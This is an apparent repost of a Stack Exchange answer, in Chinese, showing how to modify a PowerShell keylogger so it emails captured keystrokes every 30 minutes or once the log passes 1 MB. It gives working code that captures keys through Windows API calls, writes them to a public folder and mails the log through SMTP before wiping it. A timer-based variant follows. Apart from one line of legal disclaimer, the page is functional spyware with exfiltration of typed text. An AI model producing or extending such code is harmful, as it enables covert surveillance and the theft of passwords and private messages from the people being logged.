PowerShell键盘记录器脚本修改求助:实现定时/定大小发送日志到邮箱
解决方案
方案1:现有循环内加触发检查(最适合新手,无需额外组件)
你原有的$APIsignatures和API定义代码不需要修改,只需新增配置和修改循环逻辑即可,核心原理是利用现有每40ms执行一次的while循环,在每次按键检测结束后判断是否满足发送条件,不需要额外引入复杂组件。
首先新增全局配置和发送函数:
# ----- 你原有配置保留,以下为新增配置 ----- # 先补全你自己的SMTP配置(如果原有已经配置过可以跳过这部分) $smtp = New-Object Net.Mail.SmtpClient("smtp.你的邮箱服务商.com", 端口号) # 例如smtp.qq.com对应端口587 $smtp.Credentials = New-Object System.Net.NetworkCredential("你的邮箱地址", "邮箱授权码") $smtp.EnableSsl = $true $email = "接收日志的邮箱地址" $subject = "键盘记录日志" $logFile = "本地日志存储路径,例如C:\Users\Public\keylog.txt" # 发送触发规则配置 $sendIntervalMinutes = 30 # 固定发送间隔,单位分钟,此处设置为30分钟发一次 $maxLogSizeKB = 1024 # 日志大小阈值,单位KB,此处设置为超过1M就发送 $lastSendTime = Get-Date # 记录上次发送时间 # 封装发送日志的公共函数,避免重复写代码 function Send-LogMail { # 日志不存在或者为空就跳过发送 if ((Test-Path $logFile) -and (Get-Item $logFile).Length -gt 0) { $logs = [System.IO.File]::ReadAllText($logFile, [System.Text.Encoding]::Unicode) $smtp.Send($email, $email, $subject, $logs) # 发送完成后清空日志,避免下次重复发送相同内容 Clear-Content $logFile -Force $script:lastSendTime = Get-Date # 更新上次发送时间 } }
然后修改你原有循环和finally块的逻辑:
try { while ($true) { Start-Sleep -Milliseconds 40 for ($ascii = 9; $ascii -le 254; $ascii++) { # 你原有按键检测逻辑保持不变 $keystate = $API::GetAsyncKeyState($ascii) if ($keystate -eq -32767) { $null = [console]::CapsLock $mapKey = $API::MapVirtualKey($ascii, 3) $keyboardState = New-Object Byte[] 256 $hideKeyboardState = $API::GetKeyboardState($keyboardState) $loggedchar = New-Object -TypeName System.Text.StringBuilder if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) { [System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode) } } } # ----- 新增发送条件判断 ----- $currentTime = Get-Date $logSizeKB = (Get-Item $logFile -ErrorAction SilentlyContinue).Length / 1KB # 满足时间间隔或者大小阈值任意一个条件就触发发送 if (($currentTime - $lastSendTime).TotalMinutes -ge $sendIntervalMinutes -or $logSizeKB -ge $maxLogSizeKB) { Send-LogMail } } } finally { # 脚本异常退出时发送剩余日志,原有逻辑替换为调用公共函数即可 Send-LogMail }
注意事项
- 首次运行如果日志文件不存在,会在第一次检测到按键输入时自动创建,不影响判断逻辑
- 未经他人允许记录键盘输入属于违法行为,请勿将该脚本用于非法用途,需自行承担相应法律责任
- 大部分邮箱的SMTP服务需要手动开启,并且需要使用专属授权码而非账号密码登录,注意提前检查你的SMTP配置是否正确
进阶方案:独立定时器触发
如果不想在按键检测循环里插入判断逻辑,可以用.NET自带的定时器实现独立线程触发,不会影响按键检测的灵敏度,适合后续功能扩展:
# 创建定时器,设置触发间隔为你配置的固定发送间隔 $timer = New-Object System.Timers.Timer $timer.Interval = $sendIntervalMinutes * 60 * 1000 # 单位转换为毫秒 $timer.AutoReset = $true # 设置为循环触发 # 绑定定时器触发事件 Register-ObjectEvent -InputObject $timer -EventName Elapsed -Action { $logSizeKB = (Get-Item $logFile -ErrorAction SilentlyContinue).Length / 1KB # 每次触发先判断日志大小是否达标,两个条件满足任意一个就发送 if ($logSizeKB -ge $maxLogSizeKB) { Send-LogMail } } | Out-Null $timer.Start() # 启动定时器
使用该方案需要注意:发送函数里用到的全局变量需要声明为脚本级作用域(前面加$script:前缀),否则定时器事件无法访问外层变量。
内容的提问来源于stack exchange,提问作者Tomasteel
相关产品推荐
相关产品推荐

